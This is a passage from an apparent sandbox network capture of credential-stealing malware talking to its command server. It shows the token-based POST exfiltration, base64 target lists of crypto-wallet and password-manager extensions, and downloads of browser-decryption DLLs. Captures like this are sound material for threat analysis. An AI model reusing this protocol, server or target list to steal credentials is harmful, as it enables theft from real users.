ZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 21, 2024 08:47:18.325587034 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 21, 2024 08:47:18.325618982 CEST	264	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 21, 2024 08:47:18.325651884 CEST	1236	IN	Data Raw: 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d 4e 74 62 6d 74 69 5a 32 35 38 4d 58 77 77 66 44 42 38 56 47 56 36 51 6d 39 34 66 47 31 75 5a 6d 6c 6d 5a 57 5a 72 59 57 Data Ascii: MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJ
Oct 21, 2024 08:47:18.325683117 CEST	1236	IN	Data Raw: 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 46 73 62 47 56 30 66 47 46 70 61 6d 4e 69 5a 57 52 76 61 57 70 74 5a 32 35 73 62 57 70 6c 5a 57 64 71 59 57 64 73 62 57 Data Ascii: ZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGt
Oct 21, 2024 08:47:18.325715065 CEST	1236	IN	Data Raw: 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 77 77 66 44 42 38 4d 58 78 55 63 6e 56 7a 64 43 Data Ascii: MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHx
Oct 21, 2024 08:47:18.325750113 CEST	900	IN	Data Raw: 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 52 38 62 32 4e 71 5a 48 42 74 62 32 46 73 62 47 31 6e 62 57 70 69 59 6d 39 6e 5a 6d 6c 70 59 57 39 6d 63 47 68 69 61 6d Data Ascii: bnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB
Oct 21, 2024 08:47:18.327584028 CEST	468	OUT	POST /28166bd28a5d19e6.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEGHIJEHJDHIDHIDAEH Host: 147.45.44.221 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 63 33 61 66 34 61 38 35 36 38 31 64 37 39 65 65 66 62 39 65 33 39 31 31 36 39 37 65 31 30 66 30 35 63 65 33 38 34 32 63 61 36 33 31 65 35 62 61 34 37 37 36 33 63 35 62 34 32 36 35 64 63 65 35 38 33 39 37 32 66 37 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 2d 2d 0d 0a Data Ascii: ------CAEGHIJEHJDHIDHIDAEHContent-Disposition: form-data; name="token"1c3af4a85681d79eefb9e3911697e10f05ce3842ca631e5ba47763c5b4265dce583972f7------CAEGHIJEHJDHIDHIDAEHContent-Disposition: form-data; name="message"fplugins------CAEGHIJEHJDHIDHIDAEH--
Oct 21, 2024 08:47:18.581100941 CEST	335	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:47:18 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 21, 2024 08:47:18.634628057 CEST	201	OUT	POST /28166bd28a5d19e6.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDB Host: 147.45.44.221 Content-Length: 5859 Connection: Keep-Alive Cache-Control: no-cache
Oct 21, 2024 08:47:18.634769917 CEST	5859	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 63 33 61 66 34 Data Ascii: ------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="token"1c3af4a85681d79eefb9e3911697e10f05ce3842ca631e5ba47763c5b4265dce583972f7------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 21, 2024 08:47:18.905272961 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:47:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 08:47:19.715142012 CEST	92	OUT	GET /3538548809da56b2/sqlite3.dll HTTP/1.1 Host: 147.45.44.221 Cache-Control: no-cache
Oct 21, 2024 08:47:19.968152046 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:47:19 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 12:30:30 GMT ETag: "10e436-5e7ed3ec64580" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 21, 2024 08:47:19.968246937 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 21, 2024 08:47:19.968281031 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Oct 21, 2024 08:47:23.473931074 CEST	201	OUT	POST /28166bd28a5d19e6.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJKJKKKJJJKJKFHJJJJE Host: 147.45.44.221 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Oct 21, 2024 08:47:23.736129045 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:47:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 08:47:23.825203896 CEST	201	OUT	POST /28166bd28a5d19e6.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECBGIDAEHCGDGCBKEBG Host: 147.45.44.221 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 21, 2024 08:47:24.084317923 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:47:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 08:47:24.101871967 CEST	563	OUT	POST /28166bd28a5d19e6.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKEHJJDAAAAKECBGHDA Host: 147.45.44.221 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 63 33 61 66 34 61 38 35 36 38 31 64 37 39 65 65 66 62 39 65 33 39 31 31 36 39 37 65 31 30 66 30 35 63 65 33 38 34 32 63 61 36 33 31 65 35 62 61 34 37 37 36 33 63 35 62 34 32 36 35 64 63 65 35 38 33 39 37 32 66 37 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="token"1c3af4a85681d79eefb9e3911697e10f05ce3842ca631e5ba47763c5b4265dce583972f7------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="file"------EBKEHJJDAAAAKECBGHDA--
Oct 21, 2024 08:47:24.358093023 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:47:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 08:47:24.731107950 CEST	563	OUT	POST /28166bd28a5d19e6.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCFIDAFBFBAKFHJEGIJ Host: 147.45.44.221 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 63 33 61 66 34 61 38 35 36 38 31 64 37 39 65 65 66 62 39 65 33 39 31 31 36 39 37 65 31 30 66 30 35 63 65 33 38 34 32 63 61 36 33 31 65 35 62 61 34 37 37 36 33 63 35 62 34 32 36 35 64 63 65 35 38 33 39 37 32 66 37 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EGCFIDAFBFBAKFHJEGIJContent-Disposition: form-data; name="token"1c3af4a85681d79eefb9e3911697e10f05ce3842ca631e5ba47763c5b4265dce583972f7------EGCFIDAFBFBAKFHJEGIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGCFIDAFBFBAKFHJEGIJContent-Disposition: form-data; name="file"------EGCFIDAFBFBAKFHJEGIJ--
Oct 21, 2024 08:47:24.987186909 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:47:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 08:47:25.752080917 CEST	92	OUT	GET /3538548809da56b2/freebl3.dll HTTP/1.1 Host: 147.45.44.221 Cache-Control: no-cache
Oct 21, 2024 08:47:26.005439043 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:47:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 08:49:08 GMT ETag: "a7550-5e7ea271b0900" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 21, 2024 08:47:27.452250004 CEST	92	OUT	GET /3538548809da56b2/mozglue.dll HTTP/1.1 Host: 147.45.44.221 Cache-Control: no-cache
Oct 21, 2024 08:47:27.704931021 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:47:27 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 08:49:08 GMT ETag: "94750-5e7ea271b0900" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 21, 2024 08:47:28.710366964 CEST	93	OUT	GET /3538548809da56b2/msvcp140.dll HTTP/1.1 Host: 147.45.44.221 Cache-Control: no-cache
Oct 21, 2024 08:47:28.963341951 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:47:28 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 08:49:08 GMT ETag: "6dde8-5e7ea271b0900" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 21, 2024 08:47:29.482800961 CEST	89	OUT	GET /3538548809da56b2/nss3.dll HTTP/1.1 Host: 147.45.44.221 Cache-Control: no-cache
Oct 21, 2024 08:47:29.735275030 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:47:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 08:49:08 GMT ETag: "1f3950-5e7ea271b0900" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 21, 2024 08:47:31.288986921 CEST	93	OUT	GET /3538548809da56b2/softokn3.dll HTTP/1.1 Host: 147.45.44.221 Cache-Control: no-cache
Oct 21, 2024 08:47:31.542109966 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:47:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 08:49:08 GMT ETag: "3ef50-5e7ea271b0900" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 